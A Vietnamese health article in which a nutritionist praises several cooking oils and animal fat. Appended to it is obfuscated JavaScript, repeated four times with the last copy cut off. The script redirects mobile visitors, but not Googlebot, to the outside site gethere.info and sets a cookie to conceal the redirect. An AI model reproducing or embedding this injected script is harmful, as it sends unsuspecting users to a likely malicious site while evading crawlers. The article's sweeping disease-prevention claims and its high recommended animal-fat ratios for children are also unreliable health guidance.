text:
Bạn đã biết hết công dụng của các loại dầu thực vật, mỡ động vật khi nấu ăn chưa?
Hôm nay chuyên gia dinh dưỡng bác sĩ chuyên khoa dinh dưỡng Hoàng Thị Thúy Hà, Trung tâm Khám & Tư vấn Dinh dưỡng – Khu vực Miền Trung sẽ chỉ ra những ưu điểm của các loại dầu thực vật và mỡ động vật mà bạn nên biết..
Dầu mè giúp hệ tiêu hóa khỏe mạnh
Bác sĩ Hà cho biết: “Dầu mè chứa nhiều chất chống oxy hóa và chất béo. Đặc biệt là chất béo không bão hòa, các axid béo omega3 và omega6, canxi, kẽm, selen, vitamin E, vitamin nhóm B, do đó phòng ngừa được nhiều bệnh….Đồng thời, dầu mè tốt cho tim mạch, giàu axit oleic có vai trò giảm cholesterol xấu LDL, làm giảm huyết áp. Nhiều canxi, kẽm, selen, magie, giúp điều hòa hoạt động các cơ ở tim, giúp cho xương luôn chắc khỏe khi về già, chống loãng xương”.
Dầu mè chứa nhiều chất chống oxy hóa và chất béo (ảnh minh họa)
- Trong dầu mè có Các chất chống oxy hóa, các vitamin có tác dụng kháng viêm, tăng tái tạo colagen, sửa chữa những tổn thương ở da, làm khít lỗ chân lông giúp làn da mịn, rạng ngời, ngăn ngừa lão hóa giúp trẻ lâu.
- Trong dầu mè có chứa Lượng Trytophan, Magie, Canxi, vitamin nhóm B giúp sản xuất nhiều serotonin có tác dụng giảm đau, cải thiện tâm trạng và giúp ngủ sâu và ngủ ngon giấc.
- Khi sử dụng dầu mè thì hệ miễn dịch được tăng cường, hệ tiêu hóa được khỏe mạnh. Có nhiều axitfolic Trong dầu mè, giúp thai nhi trong bụng mẹ phát triển khỏe mạnh, tránh được các dị tật ống thần kinh là chất béo tốt cho phụ nữ mang thai.
Dầu lạc ngăn ngừa các bệnh truyền nhiễm
Trong dầu lạc có hàm lượng các chất dinh dưỡng cao, giàu protein và các vitamin thiết yếu giúp phát triển cơ thể. Bác sĩ Hà chỉ ra những ưu điểm của dầu lạc“Dầu lạc có nhiều vitamin E, yếu tố quan trọng chống lão hóa, tổng hợp hormone sinh dục; nhiều vitamin B1 là thành phần coenzyme thiamin Pyrophosphate tham gia giải phóng năng lượng từ carbonhydrate, chất béo và rượu bia, chống thừa cân, béo phì. Ở trẻ em, dầu lạc giúp hòa tan và hấp thu các vitamin A, D, K, E. Đây là những vitamin quan trọng giúp hoàn thiện cấu trúc của các mô, đặc biệt là mô não và các hormone”,.
Hàm lượng các chất dinh dưỡng có trong dầu lạc cao, giàu protein và các vitamin thiết yếu giúp phát triển cơ thể (Ảnh: Internet)
Bên cạnh đó, bác sĩ Hà còn cho biết dầu lạc có tác dụng:
- Giảm lượng cholesterol xấu và tăng lượng cholesterol tốt, nhiều axit oleic chống lại bệnh mạch vành.
- Giảm nguy cơ sinh con dị tật ở phụ nữ mang thai:Có chứa nhiều axidfolic Trong dầu lạc . N ếu mỗi ngày Các bà mẹ mang thai bổ sung 400 microgam axidfolic sẽ giảm nguy cơ sinh con khuyết tật ống thần kinh đến 70%.
- Bảo vệ da: trong lạc chứa Lượng vitamin E có tác dụng chống oxy hóa, duy trì tính toàn vẹn của màng tế bào, màng nhầy và da khỏi các gốc tự do là nguyên nhân gây tổn hại cho da. Giữ làn da tươi sáng min màng.
- Ổn định đường huyết: Ở người bị đái tháo đường nên dùng dầu lạc, vì nó giàu Mangan, đây là khoáng vi lượng tham gia chuyển hóa chất béo và carbonhydrate, tăng hấp thụ canxi và duy trì mức đường máu luôn ổn định. ¼ chén (bát) lạc có thể cung cấp 30 -35% nhu cầu khoáng Mangan mỗi ngày.
- Hàm lượng chất chống oxy hóa Poly- phenol và Resveratrol có Trong dầu lạc cao có thể ngăn ngừa bệnh tim mạch, bệnh thần kinh, chứng mất trí, và bệnh truyền nhiễm, bệnh nấm hiệu quả.
Trong dầu lạc có Hàm lượng các chất dinh dưỡng cao, giàu protein và các vitamin thiết yếu giúp phát triển cơ thể (ảnh minh họa)
Dầu Ô-liu ngăn ngừa lão hóa
Theo bác sĩ Hà,chất béo không bão hòa, nhiều chất chống oxy hóa (đặc biệt là vitamin E) có trong dầu Ô- liu nhiều có công dụng phòng ngừa các bệnh tim mạch, thúc đẩy tuần hoàn máu, phòng xơ vữa động mạch, giảm đau khớp, hạ huyết áp, chống ung thư, giảm cân, trẻ hóa da, tóc, ngăn ngừa lão hóa.
Công dụng dầu Ô-liu :
- Kích thích tiết mật, tăng hấp thu chất béo vì vậy tránh viêm túi mật- sỏi mật.
- Ngăn viêm loét dạ dày do giảm vị toan.
- Kiểm soát độ nhạy Insulin giúp kiểm soát đường huyết trong đái tháo đường, cải thiện chức năng não, tăng sức đề kháng, tăng hệ miễn dịch.
- Thúc đẩy hệ xương phát triển bằng tăng cường trao đổi chất, duy trì mật độ xương, chống loãng xương (nhiều omega3, omega6 giúp hấp thụ tốt canxi, photpho và kẽm).
Dầu ô-liu có tác dụng phòng ngừa các bệnh tim mạch, thúc đẩy tuần hoàn máu, phòng xơ vữa động mạch (Ảnh minh họa)
Dầu hướng dương giảm nguy cơ mắc các bệnh về tim
Bác sĩ Hà chỉ rõ trong dầu hướng dương chứa vitamin có công dụng : “Hàm lượng vitamin E, acid phenolic và acid choline trong dầu hướng dương cao hơn bất cứ loại dầu thực vật nào rất có lợi trong việc chống ô xy hóa, trung hòa các gốc tự do ngăn ngừa ung thư, tăng cường miễn dịch, do đó có tác dụng ngừa hen và ung thư đại tràng, các bệnh về khớp. Ngoài ra, nguồn vitamin A dồi dào trong dầu hướng dương giúp ngăn ngừa bệnh đục thủy tinh thể“.Dầu hướng dương có tác dụng nhuận tràng, cải thiện quá trình tiêu hóa kích thích gan (Ảnh minh họa)
Mang đến nguồn năng lượng tuyệt vời cho cơ thể, Dầu hướng dương chứa đựng những dưỡng chất thiên nhiên bảo vệ sức khỏe mà ít loại dầu nào có được, giàu axít béo không no (Omega-3, 6 và 9 ), chất khoáng, chất xơ, các vitamin và đặc biệt là vitamin E.
Dầu hướng dương rất giàu axit béo chưa no, giúp duy trì tỉ lệ cholesterol máu, giàu lecithin giúp giảm lượng cholesterol xấu vì thế rất tốt cho tim mạch, có thể giúp giảm nguy cơ trụy tim và các bệnh tim mạch khác.
Dầu đậu nành có lợi cho sức khỏe
Một trong những loại dầu rất có lợi cho sức khỏe chính là Dầu đậu nành, đặc biệt là sức khỏe tim mạch với nhiều ưu điểm vượt trội:
Bổ sung chất béo không chứa cholesterol lý tưởng. Dầu đậu nành được chiết xuất từ hạt đậu nành chứa đạm dinh dưỡng cao và chất béo bổ dưỡng cùng nhiều sinh tố, khoáng chất. trong dầu đậu nành chứa Lượng chất béo tốt có khả năng làm giảm lượng cholesterol xấu cũng như tăng lượng cholesterol tốt. Đặc biệt, hiệu quả trong việc ổn định cholesterol trong máu, bên cạnh đó vẫn đảm bảo cung cấp đủ lượng chất béo không bão hòa cần thiết cho cơ thể.
Bổ sung đủ 3 loại a-xít béo không no: Omega -3, Omega -6 và Omega-9. Bộ 3 a-xít béo không no này rất có lợi cho sức khỏe và sự phát triền của não bộ. Đồng thời, còn có khả năng giảm lượng cholesterol, đẩy lùi bệnh tim mạch.
Dầu đậu nành cung cấp chất béo không chứa cholesterol lý tưởng (Ảnh minh họa)
- Omega-3 giúp phát triển thị lực, thần kinh và làm giảm triglycerids, một loại chất béo mà khi tăng cao sẽ đẩy nhanh nguy cơ mắc các bệnh tim mạch.
- Trong việc giảm lượng cholesterol tích tụ trong mạch máu, phòng chứng loạn nhịp tim, huyết khối và góp phần điều chỉnh huyết áp thì Omega-6 đóng vai trò quan trọng .
- Omega-9 giảm xơ cứng động mạch, tăng cường hệ miễn dịch và giúp ổn định lượng đường.
Dầu hạt cải tốt cho tim mạch
Bác sĩ Hà cho biết, dầu hạt cải được đánh giá là một trong những loại dầu ăn tốt nhất cho tim mạch vì có một cấu trúc axít béo hoàn hảo, rất giàu omega 3, tiền chất của DHA, chất đóng vai trò quan trọng cho sự phát triển của não bộ, võng mạc và hệ miễn dịch.Dầu hạt cải cung cấp nguồn acid béo lành mạnh với hàm lượng nhỏ chất béo bão hòa (Ảnh minh họa)
Thường xuyên Sử dụng dầu ăn từ hạt cải sẽ tăng lượng cholesterol tốt (HDL- cholesterol) trong máu, giảm lượng cholesterol xấu (LDL – cholesterol), giảm lượng mỡ trong máu, giảm béo… là tác nguyên chính gây ra các bệnh về tim mạch như: nhồi máu cơ tim, xơ vữa động mạch, bệnh huyết áp…
Đây là lựa chọn mới cho người giảm cân phòng ngừa bệnh béo phì, phòng tránh rối loạn hấp thu chất béo ở ruột, do tác dụng đốt cháy chất béo, làm giảm sự hấp thụ chất béo vào cơ thể của dầu hạt cải.
Mỡ động vật là nguồn sinh năng lượng quan trọng
“Trong mỡ gan cá và một số động vật ở biển có nhiều vitamin A, D và axit arachdonic. Axit arachdonic là axit béo chưa no nhiều nối đôi với chức năng chống oxy hóa bảo vệ cơ thể, có nhiều vai trò đối với sự tăng trưởng của trẻ, là thành phần cấu trúc của màng tế bào, các tổ chức liên kết, tổ chức thần kinh, của võng mạc mắt, tác dụng giảm nguy cơ các bệnh tim mạch, huyết áp”, bác sĩ Hà cho biết.
Có nhiều vai trò cần thiết cho cơ thể, Mỡ động vật là nguồn sinh năng lượng quan trọng, là dung môi tốt để hòa tan các vitamin A, D, E, K.
Trong mỡ có Các axit béo no nếu được sử dụng ở mức độ vừa phải sẽ có tác dụng làm bền vững các mao mạch máu, bảo vệ tuần hoàn của cơ thể, dự phòng tai bệnh tai biến mạch máu não và các bệnh tim mạch. Với người trưởng thành mỡ động vật còn tham gia vào quá trình hình thành và cấu trúc của các hormon sinh dục, duy trì sự mềm mại của làn da. Thiếu cholesterol có thể gây ra các bệnh lý suy giảm sinh dục.
Mỡ động vật có nhiều vai trò đối với cơ thể của trẻ (Ảnh minh họa)
Bác sĩ Hà cho biết thêm.“Mỡ động vật giúp cho sự phát triển sớm về trí tuệ và thể lực của trẻ em là yếu tố quan trọng đối với hệ thần kinh trung ương của trẻ. Vì vậy trong các bữa ăn hàng ngày, cần phải kết hợp sử dụng hài hoà cả dầu thực vật và mỡ động vật, đặc biệt là đối với trẻ nhỏ. Giai đoạn kiến tạo cơ thể của trẻ, tỉ số mỡ động vật/dầu thực vật là 70/30; Giai đoạn cơ thể đã trưởng thành tới lúc trung niên, tỉ số mỡ động vật/dầu thực vật là 50/50; Giai đoạn người có tuổi, cao tuổi, tỉ số mỡ động vật/dầu thực vật là 30/70“,
Để đảm bảo vừa ngon miệng vừa giữ được chất lượng của chất béo khi xào nấu thức ăn chúng ta nên phối hợp như sau: phi một ít hành hoặc tỏi với mỡ rồi cho thực phẩm vào xào, nêm mắm muối vừa đủ, nấu chín rồi cho thêm 1-2 thìa dầu ăn trộn đều rồi bắc ra.
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= 